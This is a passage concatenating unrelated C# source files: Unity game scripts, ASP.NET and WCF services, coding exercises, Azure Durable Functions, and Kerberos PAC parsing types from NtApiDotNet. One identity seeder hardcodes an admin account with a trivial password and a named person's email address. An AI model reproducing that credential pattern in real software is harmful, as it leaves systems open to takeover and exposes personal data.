//return Task.FromResult<Exception>(new Exception("No matching certificate found"));
}
// Return the first certificate in the collection, has the right name and is current.
cert = signingCert[0];
}
catch (Exception ex)
{
_logger.Write(TraceEventType.Critical, "Owin.GetAADCertificate Exception:{0}", ex.Message);
}
finally
{
//make sure we close the store.
store.Close();
}
return cert;
#endregion
}
private bool isUserAuthenticated(IOwinContext context)
{
return context.Authentication.User != null &&
context.Authentication.User.Identity.IsAuthenticated;
}
}
} |
using System;
using System.ServiceModel;
using System.ServiceModel.Description;
using KT.ServiceInterfaces;
namespace KnowledgeTester.WCFServices
{
public class KtServices
{
private static ServiceClient<IKtAnswersService> _answersService;
public static IKtAnswersService AnswersService
{
get
{
return _answersService.Proxy;
}
}
private static ServiceClient<IKtCategoriesService> _categoriesService;
public static IKtCategoriesService CategoriesService
{
get
{
return _categoriesService.Proxy;
}
}
private static ServiceClient<IKtQuestionsService> _questionsService;
public static IKtQuestionsService QuestionsService
{
get
{
return _questionsService.Proxy;
}
}
private static ServiceClient<IKtSubcategoriesService> _subcategoriesService;
public static IKtSubcategoriesService SubcategoriesService
{
get
{
return _subcategoriesService.Proxy;
}
}
private static ServiceClient<IKtTestService> _testService;
public static IKtTestService TestService
{
get
{
return _testService.Proxy;
}
}
private static ServiceClient<IKtUsersService> _usersService;
public static IKtUsersService UsersService
{
get
{
return _usersService.Proxy;
}
}
private static ServiceClient<IKtUserTestsService> _userTestsService;
public static IKtUserTestsService UserTestsService
{
get
{
return _userTestsService.Proxy;
}
}
public static void Init()
{
_answersService = new ServiceClient<IKtAnswersService>("BasicHttpBinding_IKtAnswersService");
_categoriesService = new ServiceClient<IKtCategoriesService>("BasicHttpBinding_IKtCategoriesService");
_questionsService = new ServiceClient<IKtQuestionsService>("BasicHttpBinding_IKtQuestionsService");
_subcategoriesService = new ServiceClient<IKtSubcategoriesService>("BasicHttpBinding_IKtSubcategoriesService");
_testService = new ServiceClient<IKtTestService>("BasicHttpBinding_IKtTestService");
_userTestsService = new ServiceClient<IKtUserTestsService>("BasicHttpBinding_IKtUserTestsService");
_usersService = new ServiceClient<IKtUsersService>("BasicHttpBinding_IKtUsersService");
}
}
} |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using Microsoft.AspNetCore.Identity;
using MyPersonalBlog.Entities.Concrete;
namespace MyPersonalBlog.UI
{
public static class IdentityInitializer
{
public static async Task SeedData(UserManager<AppUser> userManager, RoleManager<AppRole> roleManager)
{
var adminRole = await roleManager.FindByNameAsync("Admin");
if (adminRole == null)
{
await roleManager.CreateAsync(new AppRole()
{
Name = "Admin"
});
}
var adminUser = await userManager.FindByNameAsync("denemehesap123");
if (adminUser == null)
{
AppUser user = new AppUser()
{
Name = "Ramazan",
Surname = "İşçanan",
UserName = "denemehesap123",
Email = "iscananramazan@gmail.com"
};
await userManager.CreateAsync(user, "denemehesap123.");//user'ı ekle parolasınıda 1 yap'
await userManager.AddToRoleAsync(user, "Admin");
}
}
}
}
|
#if UNITY_ADS
using System;
using System.Collections;
using Plugins.UI;
using UnityEngine;
using UnityEngine.Advertisements;
using Util;
namespace Ads.UnityAds
{
public class UnityBannerStrategy : IBannerStrategy
{
public event EventHandler OnBannerChange;
private bool _visible;
public float BannerHeight => _visible ? AdSettings.Instance.CustomBannerHeight : 0f;
public UnityBannerStrategy()
{
BannerChange();
}
public void BannerShow()
{
Debug.Log("Show Banner");
_visible = true;
Objects.StartCoroutine(TryShow());
}
public void BannerHide(bool andDestroy)
{
Debug.Log("Hide Banner");
_visible = false;
Advertisement.Banner.Hide(andDestroy);
BannerChange();
}
private IEnumerator TryShow()
{
while (!Advertisement.IsReady("banner"))
yield return new WaitForSeconds(0.5f);
Advertisement.Banner.Show("banner");
BannerChange();
}
private void BannerChange()
{
OnBannerChange?.Invoke();
}
}
}
#endif |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using Task3;
namespace Task3Console
{
class Program
{
static void Main(string[] args)
{
CustomQueue<string> stringQueue = new CustomQueue<string>();
stringQueue.Enqueue("first");
stringQueue.Enqueue("second");
stringQueue.Enqueue("third");
foreach (var q in stringQueue)
{
Console.WriteLine(q);
}
Console.WriteLine(stringQueue.Peek());
foreach (var q in stringQueue)
{
Console.WriteLine(q);
}
stringQueue.Dequeue();
foreach (var q in stringQueue)
{
Console.WriteLine(q);
}
Console.ReadKey();
}
}
}
|
using UnityEngine;
using System.Collections;
namespace SNN.Core
{
[System.Serializable]
public class NeuralLayer
{
[SerializeField]
Sigmoid[] nodes;
[SerializeField, HideInInspector]
int inputSize;
[SerializeField, HideInInspector]
int nodeSize;
public int NodeSize
{
get
{
return nodeSize;
}
}
public Sigmoid GetNode(int nodeIndex)
{
return nodes[nodeIndex];
}
public NeuralLayer(int inputSize, int nodeSize)
{
this.inputSize = inputSize;
this.nodeSize = nodeSize;
InitializeNodes(nodeSize, inputSize);
}
public float[] Compute(float[] input)
{
if (input.Length != inputSize)
{
throw new System.ArgumentException();
}
float[] output = new float[NodeSize];
Compute(input, output);
return output;
}
public void ComputeWithWeightedInputs(float[] weightedInput, float[] activations)
{
for (int i = 0; i < NodeSize; i++)
{
activations[i] = nodes[i].Compute(weightedInput[i]);
}
}
public void GetWeightedInputs(float[] input,float[] weightedInput)
{
for (int i = 0; i < weightedInput.Length; i++)
{
weightedInput[i] = nodes[i].GetWeightedInput(input);
}
}
public void Compute(float[] input, float[] output)
{
if (output.Length != NodeSize)
{
throw new System.ArgumentException();
}
for (int i = 0; i < NodeSize; i++)
{
output[i] = nodes[i].Compute(input);
}
}
void InitializeNodes(int numberOfNodes, int numberOfWeights)
{
nodes = new Sigmoid[numberOfNodes];
for (int i = 0; i < numberOfNodes; i++)
{
nodes[i] = new Sigmoid(numberOfWeights);
}
}
}
} |
namespace EcobitStage.DataTransfer
{
public class PrivilegeDTO : DTO
{
public PrivilegeDTO(string Name)
{
this.Name = Name;
}
public string Name { get; set; }
}
} |
using UnityEngine;
using System.Collections;
public class WhaleController : MonoBehaviour {
// Use this for initialization
public float yChange;
public float speed;
public float frameSwitch;
private int count = 0;
void Start () {
}
// Update is called once per frame
void FixedUpdate () {
if (count % frameSwitch == 0) {
yChange = -yChange;
}
count++;
transform.position = new Vector3 (transform.position.x - speed, transform.position.y + yChange, transform.position.z);
}
}
|
using System.Threading.Tasks;
namespace PulsarDevTest_Joushua_sln
{
public class Engineer : EngineerBase
{
private readonly IDatabaseUtility _utility;
public Engineer()
{
_utility = new DatabaseUtility();
}
public string FirstName { get; set; }
public string LastName { get; set; }
public string Name => $"{FirstName} {LastName}";
public override async Task<string> GetManagerNameAsync()
{
return await _utility.GetManagerName();
}
public override async Task<string> GetAddressAsync()
{
string address = await _utility.GetAddressAsync(Name);
return $"{address} Taipei";
}
public override Task SendCodeReview(string code)
{
_utility.SendCodeReview(code).GetAwaiter().GetResult();
return Task.CompletedTask;
}
}
} |
/*
* Copyright 2014 Technische Universität Darmstadt
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
using System;
using System.Collections.Generic;
using JetBrains.ProjectModel;
using JetBrains.ProjectModel.Model2.Assemblies.Interfaces;
using JetBrains.ReSharper.Psi;
using JetBrains.ReSharper.Psi.Caches;
using JetBrains.ReSharper.Psi.Modules;
using KaVE.Commons.Model.TypeShapes;
using KaVE.Commons.Utils.Collections;
using KaVE.Commons.Utils.Exceptions;
using KaVE.JetBrains.Annotations;
using KaVE.RS.Commons.Analysis;
namespace KaVE.RS.SolutionAnalysis
{
public class TypeShapeSolutionAnalysis : BaseSolutionAnalysis
{
private readonly Action<ITypeShape> _cbTypeShape;
private readonly IKaVESet<string> _seenClrNames;
public TypeShapeSolutionAnalysis(ISolution solution,
ILogger logger,
Action<ITypeShape> cbTypeShape) : base(solution, logger)
{
_cbTypeShape = cbTypeShape;
_seenClrNames = Sets.NewHashSet<string>();
}
protected override void AnalyzePrimaryPsiModule(IPsiModule primaryPsiModule)
{
var psiServices = primaryPsiModule.GetPsiServices();
var symbolScope = psiServices.Symbols.GetSymbolScope(primaryPsiModule, true, true);
var globalNamespace = symbolScope.GlobalNamespace;
foreach (var te in FindTypeElements(globalNamespace, symbolScope))
{
// ignore private and internal types
if (!te.CanBeVisibleToSolution())
{
continue;
}
// ignore types defined in solution
if (!IsDefinedInDependency(te))
{
continue;
}
// ignore types that are already processed
var clrName = te.GetClrName().FullName;
if (!_seenClrNames.Add(clrName))
{
continue;
}
// see http://stackoverflow.com/questions/4603139/a-c-sharp-class-with-a-null-namespace
var isMetaDataClass = "FXAssembly".Equals(clrName) || "ThisAssembly".Equals(clrName) ||
"AssemblyRef".Equals(clrName);
if (isMetaDataClass)
{
continue;
}
// ignore private
if (clrName.StartsWith("<PrivateImplementationDetails>"))
{
continue;
}
// ignore c++ impl details
if (clrName.StartsWith("<CppImplementationDetails>"))
{
continue;
}
// ignore crt impl details
if (clrName.StartsWith("<CrtImplementationDetails>"))
{
continue;
}
// ignore anonymous
if (clrName.StartsWith("<>"))
{
continue;
}
// ignore gcroots
if (clrName.StartsWith("gcroot<"))
{
continue;
}
// ignore global module
if (clrName.Equals("<Module>"))
{
continue;
}
// ignore unnnamed type values
if (clrName.Contains("<unnamed-type-value>"))
{
continue;
}
// ignore anonymous
if (clrName.StartsWith("<"))
{
Console.WriteLine("Inspect: " + clrName);
}
Execute.WithExceptionCallback(
() =>
{
var ts = AnalyzeTypeElement(te);
_cbTypeShape(ts);
},
e =>
{
Console.WriteLine("error: " + e.Message);
Console.WriteLine(te);
});
}
}
private static IEnumerable<ITypeElement> FindTypeElements(INamespace ns,
ISymbolScope symbolScope)
{
foreach (var te in ns.GetNestedTypeElements(symbolScope))
{
yield return te;
foreach (var nte in te.NestedTypes)
{
yield return nte;
}
}
foreach (var nsNested in ns.GetNestedNamespaces(symbolScope))
{
foreach (var te in FindTypeElements(nsNested, symbolScope))
{
yield return te;
}
}
}
private static bool IsDefinedInDependency(IClrDeclaredElement te)
{
var containingModule = te.Module.ContainingProjectModule;
var asm = containingModule as IAssembly;
return asm != null;
}
[NotNull]
private static TypeShape AnalyzeTypeElement(ITypeElement typeElement)
{
var typeShape = new TypeShapeAnalysis().Analyze(typeElement);
return typeShape;
}
}
} |
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.SceneManagement;
public class ResumeButton : MonoBehaviour
{
public void Resume()
{
NewOrLoad.Load = true;
SceneManager.LoadScene("Start");
}
}
|
using System.Collections;
using System.Collections.Generic;
using UnityEngine.AI;
using UnityEngine;
public class BasicPlayerController : MonoBehaviour {
public Camera cam;
public LayerMask GroundLayer;
[Header("Control Parameters")]
public float JumpHeight;
public float JumpLength;
protected Rigidbody rb;
protected NavMeshAgent agent;
protected CapsuleCollider CapsuleColl;
// Use this for initialization
void Start()
{
rb = GetComponent<Rigidbody>();
agent = GetComponent<NavMeshAgent>();
CapsuleColl = GetComponent<CapsuleCollider>();
}
void Update()
{
if (IsGrounded())
{
if (Input.GetMouseButtonDown(0))
{
agent.enabled = true;
Move();
}
if (Input.GetKeyDown(KeyCode.Space))
{
Jump();
}
}
}
void Move()
{
Ray ray = cam.ScreenPointToRay(Input.mousePosition);
RaycastHit hit;
if (Physics.Raycast(ray, out hit))
{
agent.SetDestination(hit.point);
}
}
void Jump()
{
Ray ray = cam.ScreenPointToRay(Input.mousePosition);
RaycastHit hit;
if (Physics.Raycast(ray, out hit))
{
agent.enabled = false;
Vector3 JumpDirection = new Vector3((hit.point.x - transform.position.x), 0, (hit.point.z - transform.position.z));
if (JumpDirection.magnitude > JumpLength) JumpDirection = JumpDirection.normalized * JumpLength;
rb.velocity = new Vector3(JumpDirection.x, JumpHeight, JumpDirection.z);
}
}
bool IsGrounded()
{
return Physics.CheckCapsule(CapsuleColl.bounds.center, new Vector3(CapsuleColl.bounds.center.x, CapsuleColl.bounds.min.y, CapsuleColl.bounds.center.z), CapsuleColl.radius * 0.9f, GroundLayer);
}
public void Die()
{
Invoke("Respawn", 1f);
}
public void Respawn()
{
transform.position = new Vector3(0f, 0.5f, 0f);
rb.velocity = new Vector3(0f, 0f, 0f);
agent.SetDestination(transform.position);
}
}
|
using System;
using Carrot.Messages;
namespace Carrot.Fallback
{
public class DeadLetterStrategy : IFallbackStrategy
{
private readonly Exchange _exchange;
private DeadLetterStrategy(Exchange exchange)
{
_exchange = exchange;
}
public static IFallbackStrategy New(IBroker broker, Queue queue)
{
return New(broker, queue, _ => $"{_}::dle");
}
public static IFallbackStrategy New(IBroker broker,
Queue queue,
Func<String, String> exchangeNameBuilder)
{
return new DeadLetterStrategy(broker.DeclareDurableDirectExchange(exchangeNameBuilder(queue.Name)));
}
public void Apply(IOutboundChannelPool channelPool, ConsumedMessageBase message)
{
var channel = channelPool.Take();
try
{
channel.ForwardAsync(message, _exchange, String.Empty);
}
finally
{
channelPool.Add(channel);
}
}
}
} |
namespace ChesterDevs.Core.Aspnet.App.Jobs
{
public class JobResponse
{
public JobDetail Job { get; set; }
public Status Status { get; set; }
}
} |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace Console2.From_051_To_75
{
public class _059_RestoreIP
{
/*
Given a string containing only digits, restore it by returning all possible valid IP address combinations.
For example:
Given "25525511135",
return ["255.255.11.135", "255.255.111.35"]. (Order does not matter)
*/
public List<string> RestoreIp(string s)
{
return Worker(s, 2);
}
private List<string> Worker(string s, int remain)
{
if (s.Length == 0) return new List<string>() { string.Empty };
if (remain == 0)
{
if (int.Parse(s) >= 0 && int.Parse(s) <= 255)
{
return new List<string>() { s };
}
else
{
return new List<string>() { string.Empty };
}
}
List<string> res = new List<string>();
for (int i = 0; i < s.Length; i++)
{
List<string> Left = Worker(s.Substring(0, i + 1), remain - 1);
List<string> right = Worker(s.Substring(i + 1), remain - 1);
foreach (string l in Left)
{
foreach (string r in right)
{
if (!string.IsNullOrEmpty(l) && !string.IsNullOrEmpty(r))
{
res.Add(l + "," + r);
}
}
}
}
return res;
}
}
}
|
using BigEndian.IO;
using NUnit.Framework;
using nuru.IO.NUI.Cell;
using nuru.IO.NUI.Cell.Color;
using nuru.IO.NUI.Cell.Glyph;
using nuru.IO.NUI.Cell.Metadata;
using nuru.Unit.Tests;
namespace nuru.IO.NUI.Unit.Tests
{
public class CellReaderTests : ReadWriteBaseTests, IGlyphReader, IColorReader, IMetadataReader
{
protected string calls;
protected CellReader cellReader;
public override void Setup()
{
base.Setup();
calls = "";
cellReader = new CellReader(this, this, this);
}
[Test]
public void ReadCellCallsInOrder()
{
cellReader.Read(null);
Assert.That(calls, Is.EqualTo("GCM"));
}
char IGlyphReader.Read(BigEndianBinaryReader reader)
{
calls += "G";
return default;
}
ColorData IColorReader.Read(BigEndianBinaryReader reader)
{
calls += "C";
return default;
}
ushort IMetadataReader.Read(BigEndianBinaryReader reader)
{
calls += "M";
return default;
}
}
}
|
namespace _1.Logger.Core
{
using _1.Logger.Factories;
using _1.Logger.Interfaces;
using System;
public class Controller
{
private FactoryAppender factoryAppender;
public Controller()
{
this.factoryAppender = new FactoryAppender();
}
public void Run()
{
var numberOfAppenders = int.Parse(Console.ReadLine());
var appenders = new IAppender[numberOfAppenders];
for (int i = 0; i < numberOfAppenders; i++)
{
IAppender appender = this.factoryAppender.Create(Console.ReadLine());
appenders[i] = appender;
}
var logger = new Models.LoggerModels.Logger(appenders);
var messageInfoLine = Console.ReadLine();
while (messageInfoLine != "END")
{
var messageTokens = messageInfoLine.Split('|');
var reportLevel = messageTokens[0];
var date = messageTokens[1];
var msg = messageTokens[2];
switch (reportLevel)
{
case "INFO":
logger.Info(date, msg);
break;
case "WARNING":
logger.Warn(date, msg);
break;
case "ERROR":
logger.Error(date, msg);
break;
case "CRITICAL":
logger.Critical(date, msg);
break;
case "FATAL":
logger.Fatal(date, msg);
break;
}
messageInfoLine = Console.ReadLine();
}
Console.WriteLine("Logger info");
foreach (var appender in logger.GetAppenders())
{
Console.WriteLine(appender);
}
}
}
} |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Projekt53262
{
public class Przeglad : KontrolaPrasy
{
public List<Prasa> listaPrasy = new List<Prasa>();
private object tytul;
public string Rodzaj { get; private set; }
public Przeglad()
{
}
public Przeglad(string Rodzaj)
{
this.Rodzaj = Rodzaj;
}
public void DodajPrase(Prasa prasa)
{
if (listaPrasy == null)
{
listaPrasy[0] = prasa;
}
else
{
listaPrasy.Add(prasa);
}
}
public void WypiszWszystkiePrasy()
{
Console.WriteLine($"\nKategoria : {this.Rodzaj}");
foreach (Prasa prasa in listaPrasy)
{
prasa.WypiszInfo();
}
}
public void ZnajdzPrasePoNr(int i)
{
var tmp = listaPrasy.Find(x => x.nr == i);
if (tmp != null)
{
Console.WriteLine($"\nZnaleziono prasę o nr {i} w katalogu: {this.Rodzaj}");
tmp.WypiszInfo();
}
}
public void ZnajdzPrasePoTytule(string tytul)
{
var tmp = listaPrasy.Find(x => x.tytul == tytul);
if (tmp != null)
{
Console.WriteLine($"\nZnaleziono pozycję o tytule {this.tytul} w katalogu: {this.listaPrasy}");
tmp.WypiszInfo();
}
}
}
}
|
using UnityEngine;
public class ClimateSystem : MonoBehaviour
{
private Tower thisTower;
[SerializeField]
private Meter _temperature;
/// <summary>
/// The current temperature.
/// </summary>
public Meter temperature { get { return _temperature; } private set { _temperature = value; } }
protected void Awake()
{
thisTower = GetComponent<Tower>();
}
protected void Update()
{
SetupUpdate();
DefenseUpdate();
}
private void SetupUpdate()
{
if (GameManager.singleton.phase != GameManager.Phase.Setup)
{
return;
}
}
private void DefenseUpdate()
{
if (GameManager.singleton.phase != GameManager.Phase.Defense)
{
return;
}
Cool(1);
if (thisTower.towerState == Tower.TowerState.Active)
{
//Everything that runs when the tower is active during the Defense Phase.
Heat(2);
if (temperature.currentValue >= temperature.maxValue)
{
OverheatShutdown();
}
}
else if(thisTower.towerState == Tower.TowerState.Inactive)
{
//Everything that runs when the tower is inactive during the Defense Phase.
}
}
/// <summary>
/// Steadily increases the temperature by 'interval' per second.
/// </summary>
protected void Heat(int interval)
{
temperature.Count(Time.deltaTime * interval);
}
/// <summary>
/// Steadily reduces the temperature by 'interval' per second.
/// </summary>
protected void Cool(int interval)
{
temperature.Count(-Time.deltaTime * interval);
}
/// <summary>
/// Shuts down the tower if the current temperature is equal to the maximum temperature.
/// </summary>
protected void OverheatShutdown()
{
thisTower.SetTowerState(Tower.TowerState.Inactive);
}
/// <summary>
/// Returns a colour based on the current temperature of the tower.
/// </summary>
protected Color IndicatorColor()
{
//Returns blue when disabled, then goes through the following stages: green, citrus, yellow, orange, red.
//Returns a paler colour when deactivated.
return Color.white;
}
} |
using System;
using System.Collections.Generic;
using System.Linq;
using Sesi.WebsiteDaSaude.WebApi.Interfaces;
using Sesi.WebsiteDaSaude.WebApi.Models;
namespace Sesi.WebsiteDaSaude.WebApi.Repositories
{
public class TipoLocalRepository : ITIpoLocalRepository
{
public void Cadastrar(TiposLocais tipo)
{
using (WebsiteDaSaudeContext ctx = new WebsiteDaSaudeContext())
{
ctx.TiposLocais.Add(tipo);
ctx.SaveChanges();
}
}
public void Excluir(int id)
{
using (WebsiteDaSaudeContext ctx = new WebsiteDaSaudeContext())
{
var tipoBuscado = ctx.TiposLocais.FirstOrDefault(x => x.IdTipoLocal == id);
if (tipoBuscado == null)
{
throw new Exception("Tipo de local não encontrado.");
}else
{
ctx.TiposLocais.Remove(tipoBuscado);
ctx.SaveChanges();
}
}
}
public List<TiposLocais> Listar()
{
using (WebsiteDaSaudeContext ctx = new WebsiteDaSaudeContext())
{
var lista = ctx.TiposLocais.ToList();
return lista;
}
}
}
} |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using Microsoft.AspNetCore.Http;
using Microsoft.AspNetCore.Mvc;
using MessagingDemo.Data;
using MessagingDemo.Data.Models;
using MessagingDemo.Web.Models;
using MessagingDemo.Data.Models;
using Microsoft.EntityFrameworkCore;
using System.IO;
using System.Text;
using Serilog;
namespace MessagingDemo.Web.Controllers
{
[Route("api/demo")]
[ApiController]
public class DemoAPIController : ControllerBase
{
private readonly DemoDbContext demoDbContext;
public DemoAPIController(DemoDbContext demoDbContext)
{
this.demoDbContext = demoDbContext;
}
[HttpPost("customer")]
public async Task<CustomerModel> SubmitCustomer([FromBody] CustomerModel model)
{
Customer customer = new Customer
{
Id = 0,
FullName = model.FullName,
PhoneNumber = model.PhoneNumber
};
Log.Information($"Novi primatelj. Ime: {model.FullName}; Telefon: {model.PhoneNumber}");
demoDbContext.Add<Customer>(customer);
await demoDbContext.SaveChangesAsync();
return customer.GetViewModel();
}
[HttpGet("customers")]
public async Task<IEnumerable<CustomerModel>> GetCustomers()
{
List<Customer> customers = await demoDbContext.Customers.ToListAsync();
return customers.Select(x => x.GetViewModel());
}
[HttpPost("message")]
public async Task<IActionResult> SubmitMessage([FromBody] MessageModel model)
{
if (model.Message.Length > 160 || model.Customers.Count == 0)
{
if (model.Message.Length > 160) Log.Information($"Predugacka poruka poslana");
return BadRequest();
}
Log.Information($"Nova poruka poslana");
//Dohvati cutomere koji su u popisu id-eva u requestu
List<Customer> customers = await demoDbContext.Customers
.Where(x => model.Customers.Contains(x.Id))
.ToListAsync();
//Dohvati postojece poruke za customere iz requesta
List<Message> messagesExisting = await demoDbContext.Messages
.Where(x => customers.Select(x => x.Id).Contains(x.CustomerId))
.ToListAsync();
List<Message> messagesNew = new List<Message>();
string path = Directory.GetCurrentDirectory();
path += "\\sms";
Directory.CreateDirectory(path);
byte[] fileContent = Encoding.UTF8.GetBytes(model.Message);
FileStream fileStream = null;
foreach (Customer customer in customers)
{
string fileName = $"demo_{customer.PhoneNumber}.txt";
string fullFilePath = $"{path}\\{fileName}";
System.IO.File.WriteAllText(fullFilePath, model.Message);
bool msgExists = false;
//Cudno, ali OK...
foreach (Message message in messagesExisting)
{
if (message.FileName == fileName)
{
message.DateTimeSent = DateTime.Now;
msgExists = true;
}
}
if (msgExists == false)
{
Message messageTemp = new Message
{
CustomerId = customer.Id,
DateTimeSent = DateTime.Now,
FileName = fileName
};
messagesNew.Add(messageTemp);
}
}
demoDbContext.AddRange(messagesNew);
demoDbContext.UpdateRange(messagesExisting);
await demoDbContext.SaveChangesAsync();
return Ok();
}
}
} |
using System.Collections.Generic;
using System.Net.Http;
using System.Threading.Tasks;
using Microsoft.Azure.WebJobs;
using Microsoft.Azure.WebJobs.Extensions.Http;
using Microsoft.Azure.WebJobs.Host;
using Microsoft.Extensions.Logging;
namespace WorkflowEngine
{
public static class Workflow
{
[FunctionName("Workflow")]
public static async Task<string> RunOrchestrator(
[OrchestrationTrigger] DurableOrchestrationContext context, ILogger log)
{
var workflowContext = context.GetInput<WorkflowContext>();
log.LogInformation($"CurrentProcess: {workflowContext.CurrentProcess.ToString()}");
switch( workflowContext.CurrentProcess) {
case Process.Started:
workflowContext = await context.CallActivityAsync<WorkflowContext>("Workflow_Started", workflowContext);
break;
case Process.Arrived:
workflowContext = await context.CallActivityAsync<WorkflowContext>("Workflow_Arrived", workflowContext);
break;
default:
return workflowContext.Message;
};
context.ContinueAsNew(workflowContext);
return workflowContext.Message;
}
[FunctionName("Workflow_Started")]
public static WorkflowContext Started([ActivityTrigger] WorkflowContext context, ILogger log)
{
log.LogInformation($"Workflow Started");
context.Transit(Event.Next);
context.AppendMessage("Started:");
return context;
}
[FunctionName("Workflow_Arrived")]
public static WorkflowContext Arrived([ActivityTrigger] WorkflowContext context, ILogger log)
{
log.LogInformation($"Workflow Arrived");
context.Transit(Event.Next);
context.AppendMessage("Arrived");
return context;
}
[FunctionName("Workflow_HttpStart")]
public static async Task<HttpResponseMessage> HttpStart(
[HttpTrigger(AuthorizationLevel.Anonymous, "get", "post")]HttpRequestMessage req,
[OrchestrationClient]DurableOrchestrationClient starter,
ILogger log)
{
// Function input comes from the request content.
var workflowContext = new WorkflowContext();
string instanceId = await starter.StartNewAsync("Workflow", workflowContext);
log.LogInformation($"Started orchestration with ID = '{instanceId}'.");
return starter.CreateCheckStatusResponse(req, instanceId);
}
}
} |
// Copyright 2020 Google Inc. All Rights Reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
using NtApiDotNet.Ndr.Marshal;
using NtApiDotNet.Win32.Security.Authentication.Kerberos.Ndr;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace NtApiDotNet.Win32.Security.Authentication.Kerberos
{
#pragma warning disable 1591
/// <summary>
/// User account control flags.
/// </summary>
[Flags]
public enum UserAccountControlFlags
{
None = 0,
AccountDisabled = 0x00000001,
HomeDirectoryRequired = 0x00000002,
PasswordNotRequired = 0x00000004,
TempDuplicateAccount = 0x00000008,
NormalAccount = 0x00000010,
MnsLogonAccount = 0x00000020,
InterdomainTrustAccount = 0x00000040,
WorkstationTrustAccount = 0x00000080,
ServerTrustAccount = 0x00000100,
DontExpirePassword = 0x00000200,
AccountAutoLocked = 0x00000400,
EncryptedTextPasswordAllowed = 0x00000800,
SmartcardRequired = 0x00001000,
TrustedForDelegation = 0x00002000,
NotDelegated = 0x00004000,
UseDesKeyOnly = 0x00008000,
DontRequirePreauth = 0x00010000,
PasswordExpired = 0x00020000,
TrustedToAuthenticateForDelegation = 0x00040000,
NoAuthDataRequired = 0x00080000,
PartialSecretsAccount = 0x00100000,
UseAesKeys = 0x00200000,
}
/// <summary>
/// User flags for kerberos authentication.
/// </summary>
[Flags]
public enum KerberosUserFlags
{
None = 0,
Guest = 0x0001,
NoEncryption = 0x0002,
LanManKey = 0x0008,
ExtraSidsPresent = 0x0020,
SubAuthentication = 0x0040,
MachineAccount = 0x0080,
NTLMv2 = 0x0100,
ResourceGroupsPresent = 0x0200,
ProfilePathPresent = 0x0400,
NTLMv2Used = 0x0800,
LMv2Used = 0x1000,
LMV2UsedNTLMv2Session = 0x2000
}
#pragma warning restore 1591
/// <summary>
/// Class to represent PAC Logon Information.
/// </summary>
public sealed class KerberosAuthorizationDataPACLogon : KerberosAuthorizationDataPACEntry
{
/// <summary>
/// Logon time.
/// </summary>
public DateTime LogonTime { get; }
/// <summary>
/// Logoff time.
/// </summary>
public DateTime LogoffTime { get; }
/// <summary>
/// Kick off time.
/// </summary>
public DateTime KickOffTime { get; }
/// <summary>
/// Time password last set.
/// </summary>
public DateTime PasswordLastSet { get; }
/// <summary>
/// Time password can change.
/// </summary>
public DateTime PasswordCanChange { get; }
/// <summary>
/// Time password must change.
/// </summary>
public DateTime PasswordMustChange { get; }
/// <summary>
/// Effective name.
/// </summary>
public string EffectiveName { get; }
/// <summary>
/// Full name.
/// </summary>
public string FullName { get; }
/// <summary>
/// Logon script path.
/// </summary>
public string LogonScript { get; }
/// <summary>
/// Profile path.
/// </summary>
public string ProfilePath { get; }
/// <summary>
/// Home directory path.
/// </summary>
public string HomeDirectory { get; }
/// <summary>
/// Home directory drive.
/// </summary>
public string HomeDirectoryDrive { get; }
/// <summary>
/// Logon count.
/// </summary>
public int LogonCount { get; }
/// <summary>
/// Bad password count.
/// </summary>
public int BadPasswordCount { get; }
/// <summary>
/// User SID.
/// </summary>
public Sid User { get; }
/// <summary>
/// Primary group SID.
/// </summary>
public Sid PrimaryGroup { get; }
/// <summary>
/// Group list.
/// </summary>
public IReadOnlyList<UserGroup> Groups { get; }
/// <summary>
/// User flags.
/// </summary>
public KerberosUserFlags UserFlags { get; }
/// <summary>
/// User session key.
/// </summary>
public byte[] UserSessionKey { get; }
/// <summary>
/// Logon server name.
/// </summary>
public string LogonServer { get; }
/// <summary>
/// Logon domain name.
/// </summary>
public string LogonDomainName { get; }
/// <summary>
/// Logon domain sid.
/// </summary>
public Sid LogonDomainSid { get; }
/// <summary>
/// Extra SIDs.
/// </summary>
public IReadOnlyList<UserGroup> ExtraSids { get; }
/// <summary>
/// User account control flags.
/// </summary>
public UserAccountControlFlags UserAccountControl { get; }
/// <summary>
/// Resource domain group SID.
/// </summary>
public Sid ResourceGroupDomainSid { get; }
/// <summary>
/// Resource groups.
/// </summary>
public IReadOnlyList<UserGroup> ResourceGroups { get; }
internal KerberosAuthorizationDataPACLogon(KerberosAuthorizationDataPACEntryType type,
byte[] data, KERB_VALIDATION_INFO logon_info) : base(type, data)
{
LogonTime = logon_info.LogonTime.ToTime();
LogoffTime = logon_info.LogoffTime.ToTime();
KickOffTime = logon_info.KickOffTime.ToTime();
PasswordLastSet = logon_info.PasswordLastSet.ToTime();
PasswordCanChange = logon_info.PasswordCanChange.ToTime();
PasswordMustChange = logon_info.PasswordMustChange.ToTime();
EffectiveName = logon_info.EffectiveName.ToString();
FullName = logon_info.FullName.ToString();
LogonScript = logon_info.LogonScript.ToString();
ProfilePath = logon_info.ProfilePath.ToString();
HomeDirectory = logon_info.HomeDirectory.ToString();
HomeDirectoryDrive = logon_info.HomeDirectoryDrive.ToString();
LogonCount = logon_info.LogonCount;
BadPasswordCount = logon_info.BadPasswordCount;
LogonDomainSid = logon_info.LogonDomainId.GetValue().ToSid();
LogonDomainName = logon_info.LogonDomainName.ToString();
